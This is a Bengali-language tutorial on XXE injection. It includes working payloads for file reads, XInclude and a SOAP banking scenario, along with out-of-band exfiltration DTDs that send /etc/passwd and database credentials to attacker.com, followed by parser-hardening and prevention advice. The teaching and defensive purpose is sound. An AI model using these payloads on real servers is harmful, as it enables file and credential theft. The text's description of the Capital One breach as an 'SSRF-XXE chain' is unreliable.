XXE Injection: ওয়েব সার্ভারের এক্সএমএল পার্সিংয়ের ত্রুটি ব্যবহার করে ইন্টারনাল নেটওয়ার্ক স্ক্যান এবং সংবেদনশীল কনফিগারেশন ফাইল ফাঁস করার হ্যাকিং!

XXE বুঝতে আমাদের প্রথমে XML-এর কিছু কম-পরিচিত বৈশিষ্ট্য বুঝতে হবে। XML-এ Document Type Definition (DTD) ডকুমেন্টের কাঠামো সংজ্ঞায়িত করে। DTD-এর মধ্যে Entities সংজ্ঞায়িত করা যায়, যা টেক্সট প্রতিস্থাপনের জন্য একটি শর্টকাট হিসেবে কাজ করে।

একটি Internal Entity উদাহরণ:

<!DOCTYPE foo [
    <!ENTITY greeting "Hello World">
]>
<message>&greeting;</message>

এখানে &greeting; parsing-এর সময় "Hello World" দিয়ে প্রতিস্থাপিত হয়।

External Entity আরও আকর্ষণীয় — এটি বাহ্যিক উৎস থেকে কন্টেন্ট লোড করে:

<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

যখন একটি দুর্বল XML পার্সার এই ডকুমেন্ট প্রক্রিয়া করে, এটি /etc/passwd ফাইল পড়ে এবং &xxe; entity-কে সেই ফাইলের বিষয়বস্তু দিয়ে প্রতিস্থাপন করে। যদি অ্যাপ্লিকেশন পার্সড XML কন্টেন্ট response-এ প্রতিফলিত করে, আক্রমণকারী সংবেদনশীল সিস্টেম ফাইল পড়তে পারে।

XXE-এর প্রকৃত শক্তি বহুমাত্রিক:

Arbitrary File Read — সার্ভারের যেকোনো readable ফাইল চুরি। /etc/passwd, /etc/shadow (যদি পার্সার root হিসেবে চলে), web.config, application configuration files যা database credentials ধারণ করে, SSH private keys, AWS credentials — সবই লক্ষ্য হতে পারে।

Server-Side Request Forgery (SSRF) — file:// ছাড়াও পার্সার প্রায়ই http://, https://, ftp:// এবং অন্যান্য প্রোটোকল সমর্থন করে। এর মানে XXE-কে SSRF-এ রূপান্তর করা যায় এবং internal services-এ আক্রমণ পরিচালনা করা যায়।

Internal Network Scan — XXE ব্যবহার করে internal IP ঠিকানা এবং পোর্ট স্ক্যান করা যায়। response time এবং error message-এর পার্থক্য থেকে কোন কোন পোর্ট খোলা তা নির্ধারণ করা যায়।

Cloud Metadata Service Exploitation — AWS, GCP এবং Azure-এ metadata endpoint (যেমন http://169.254.169.254/) থেকে IAM credentials চুরি করা যায়। Capital One-এর ২০১৯ সালের বিখ্যাত breach-এ অনুরূপ পদ্ধতি ব্যবহৃত হয়েছিল।

Denial of Service — Billion Laughs attack এবং অন্যান্য entity expansion আক্রমণ পার্সারের মেমরি ফাঁক করে দিতে পারে।

Remote Code Execution — কিছু কনফিগারেশনে (বিশেষ করে PHP-তে expect:// wrapper সক্ষম থাকলে) XXE সরাসরি RCE-তে পরিণত হতে পারে।

একটি বাস্তব আক্রমণ দৃশ্য বিবেচনা করুন। ধরা যাক একটি অ্যাপ্লিকেশন XML ফরম্যাটে ব্যবহারকারীর প্রোফাইল আপডেট গ্রহণ করে:

POST /api/profile HTTP/1.1
Content-Type: application/xml

<user>
  <name>John</name>
  <email>[email protected]</email>
</user>

আক্রমণকারী এটিকে পরিবর্তন করেন:

<?xml version="1.0"?>
<!DOCTYPE user [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
  <email>[email protected]</email>
</user>

যদি অ্যাপ্লিকেশন একটি error message-এ name ক্ষেত্রটি প্রতিফলিত করে যেমন "User &xxe; not found", সংবেদনশীল ফাইলের বিষয়বস্তু response-এ ফাঁস হবে।

বাস্তব বিশ্বে অ্যাপ্লিকেশনগুলো প্রায়ই XML বিষয়বস্তু response-এ প্রতিফলিত করে না। এই ক্ষেত্রে Blind XXE কৌশল ব্যবহার করা হয়।

Out-of-Band (OOB) Exfiltration-এর জন্য আক্রমণকারী একটি External DTD নিয়ন্ত্রণ করেন এবং পার্সারকে সেটি লোড করতে বাধ্য করেন:

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
    %xxe;
]>
<data>test</data>

এর evil.dtd ফাইলে থাকে:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

এই পদ্ধতিতে সার্ভার সংবেদনশীল ফাইলের বিষয়বস্তু attacker-এর সার্ভারে একটি HTTP request-এর অংশ হিসেবে পাঠায়।

Error-based Exfiltration আরেকটি কৌশল যেখানে আক্রমণকারী একটি invalid path দিয়ে চেষ্টা করেন:

<!ENTITY % error SYSTEM "file:///nonexistent/%file;">

পার্সার এই path খুঁজে না পেয়ে একটি error message ছুঁড়ে দেয় যা ফাইলের বিষয়বস্তু অন্তর্ভুক্ত করে — এবং সেই error log হয় বা response-এ ফেরত আসে।

XXE শুধু সরাসরি XML API-তে সীমাবদ্ধ নয়। অনেক ফাইল ফরম্যাট অভ্যন্তরীণভাবে XML ব্যবহার করে।

SVG (Scalable Vector Graphics) মূলত XML। একটি SVG ফাইলের ভিতরে XXE পেলোড স্থাপন করে এবং একটি অ্যাপ্লিকেশনে আপলোড করে যা সেটিকে server-side process করে (যেমন PDF জেনারেট করার জন্য বা thumbnail তৈরি করার জন্য) আক্রমণ পরিচালনা করা সম্ভব।

Office Documents (DOCX, XLSX, PPTX) আসলে XML ফাইলের zip আর্কাইভ। আক্রমণকারী একটি বৈধ Word document খুলে, XML ফাইলগুলো সম্পাদনা করে XXE পেলোড যুক্ত করে, এবং পুনরায় জিপ করে। যেসব সার্ভার এই ডকুমেন্ট প্রসেস করে (রূপান্তর, indexing, full-text search) তারা ঝুঁকিতে থাকে।

SAML responses XML-ভিত্তিক এবং SSO authentication-এ ব্যবহৃত হয়। বহু SAML implementation-এ XXE দুর্বলতা পাওয়া গেছে।

RSS/Atom feeds, SOAP services, এবং XMPP protocols — সবই সম্ভাব্য আক্রমণ পথ।

বিভিন্ন XML পার্সারের বিভিন্ন আচরণ রয়েছে। কিছু গুরুত্বপূর্ণ পয়েন্ট:

Java (Xerces, JAXP) — ডিফল্টভাবে DTD এবং external entities প্রক্রিয়া করে। DocumentBuilderFactory-এ FEATURE_SECURE_PROCESSING সক্ষম করতে হয়। XMLConstants.ACCESS_EXTERNAL_DTD এবং ACCESS_EXTERNAL_SCHEMA empty string-এ সেট করা উচিত।

PHP (libxml2-ভিত্তিক) — PHP 8.0 থেকে external entities ডিফল্টে disabled, কিন্তু পুরনো সংস্করণে libxml_disable_entity_loader(true) কল করা প্রয়োজন। PHP-এর expect:// wrapper সক্ষম থাকলে XXE সরাসরি RCE-তে রূপান্তরিত হয়।

Python (lxml, ElementTree) — lxml-এ XMLParser(resolve_entities=False) ব্যবহার করুন। defusedxml লাইব্রেরি Python-এ একটি নিরাপদ বিকল্প।

.NET — XmlDocument-এ XmlResolver null সেট করা গুরুত্বপূর্ণ। .NET 4.5.2 থেকে ডিফল্ট আচরণ পরিবর্তন হয়েছে কিন্তু legacy কোডে এখনও দুর্বলতা থাকতে পারে।

Ruby (Nokogiri, REXML) — Nokogiri-এ NONET এবং NOENT অপশন গুরুত্বপূর্ণ।

যদি আক্রমণকারী সম্পূর্ণ XML document নিয়ন্ত্রণ করতে না পারেন কিন্তু শুধু একটি অংশ inject করতে পারেন, XInclude একটি বিকল্প পথ প্রদান করে:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

এটি কাজ করে যদি অ্যাপ্লিকেশনের XML পার্সার XInclude সমর্থন করে এবং এটি সক্ষম থাকে।

Schema-based XXE-এ আক্রমণকারী একটি ম্যালিশিয়াস XSD স্কিমা পরিবেশন করেন যা প্রক্রিয়াকরণের সময় external entities load করে।

ধরা যাক একটি কোম্পানির ব্যাঙ্ক একটি legacy SOAP API ব্যবহার করে partner integration-এর জন্য। API ব্যালেন্স অনুসন্ধানের জন্য XML গ্রহণ করে।

আক্রমণকারী Burp Suite দিয়ে একটি অনুরোধ ক্যাপচার করেন এবং XML envelope-এ পরিবর্তন করেন:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soap:Envelope [
    <!ENTITY % file SYSTEM "file:///opt/app/config/database.properties">
    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <getBalance>
      <accountId>12345</accountId>
    </getBalance>
  </soap:Body>
</soap:Envelope>

evil.dtd:

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?d=%file;'>">
%all;
%send;

সার্ভার XML পার্স করে, file content read করে, এবং attacker-এর সার্ভারে database credentials পাঠায়। সেখান থেকে আক্রমণকারী database-এ সরাসরি সংযুক্ত হয়ে সব গ্রাহকের অ্যাকাউন্ট তথ্য চুরি করতে পারেন।

এই ধরনের ব্রিচ Capital One-এর ১০৬ মিলিয়ন গ্রাহকের তথ্য চুরির ঘটনার অনুরূপ যেখানে SSRF-XXE chain ব্যবহার করা হয়েছিল।

XXE প্রতিরোধে নিম্নলিখিত পদক্ষেপ অপরিহার্য:

DTD এবং External Entity প্রসেসিং সম্পূর্ণভাবে নিষ্ক্রিয় করুন। এটি সবচেয়ে কার্যকর প্রতিরোধ। প্রতিটি প্রধান ভাষা এবং লাইব্রেরির জন্য নির্দিষ্ট নির্দেশনা OWASP XXE Prevention Cheat Sheet-এ পাওয়া যায়।

সম্ভব হলে JSON বা অন্য নিরাপদ ফরম্যাটে স্থানান্তর করুন। অনেক আধুনিক API JSON ব্যবহার করে এবং XML থেকে মুক্তির সুযোগ থাকে।

Whitelist-based input validation প্রয়োগ করুন। যদি XML অনিবার্য হয়, কঠোর schema validation প্রয়োগ করুন।

Defused XML libraries ব্যবহার করুন। Python-এর defusedxml, Java-এর OWASP ESAPI সরঞ্জাম প্রদান করে।

Server পরিবেশ থেকে সংবেদনশীল ফাইল অপসারণ বা সুরক্ষা করুন। যদিও এটি XXE প্রতিরোধ করে না, এটি প্রভাব হ্রাস করে।

Egress filtering প্রয়োগ করুন। ওয়েব সার্ভারের জন্য outbound HTTP/HTTPS ট্রাফিকে কঠোর নিয়ন্ত্রণ। যদি সার্ভার বাহ্যিক attacker controlled DTD পৌঁছাতে না পারে, OOB exfiltration ব্যর্থ হয়।

IMDSv2 ব্যবহার করুন AWS-এ। নতুন metadata service version PUT request প্রয়োজন করে যা সাধারণ XXE/SSRF আক্রমণে কাজ করে না।

WAF এবং Runtime Application Self-Protection (RASP) ব্যবহার করুন যা সাধারণ XXE pattern সনাক্ত করতে পারে।

নিয়মিত নিরাপত্তা পরীক্ষা পরিচালনা করুন। OWASP ZAP, Burp Suite এবং বিশেষায়িত সরঞ্জাম যেমন XXEinjector XXE সনাক্তকরণে সহায়তা করে।

কোড রিভিউতে XML পার্সিং কোড বিশেষভাবে পরীক্ষা করুন। Semgrep এবং অন্যান্য SAST সরঞ্জাম দুর্বল কনফিগারেশন সনাক্ত করতে পারে।

ডেভেলপারদের XXE সম্পর্কে প্রশিক্ষণ দিন। অনেক ডেভেলপার এই দুর্বলতা সম্পর্কে অসচেতন কারণ এটি SQL injection বা XSS-এর মতো বহুল আলোচিত নয়।

SOAP services-এর জন্য অতিরিক্ত পরিমাপ:

WS-Security ব্যবহার করুন প্রমাণীকরণ এবং অখণ্ডতার জন্য।

WSDL এ strict typing প্রয়োগ করুন।

WS-Policy-এর মাধ্যমে security নীতি ঘোষণা করুন।

পুরনো SOAP libraries যেগুলো নিরাপদ ডিফল্ট নেই সেগুলো থেকে স্থানান্তরিত হোন।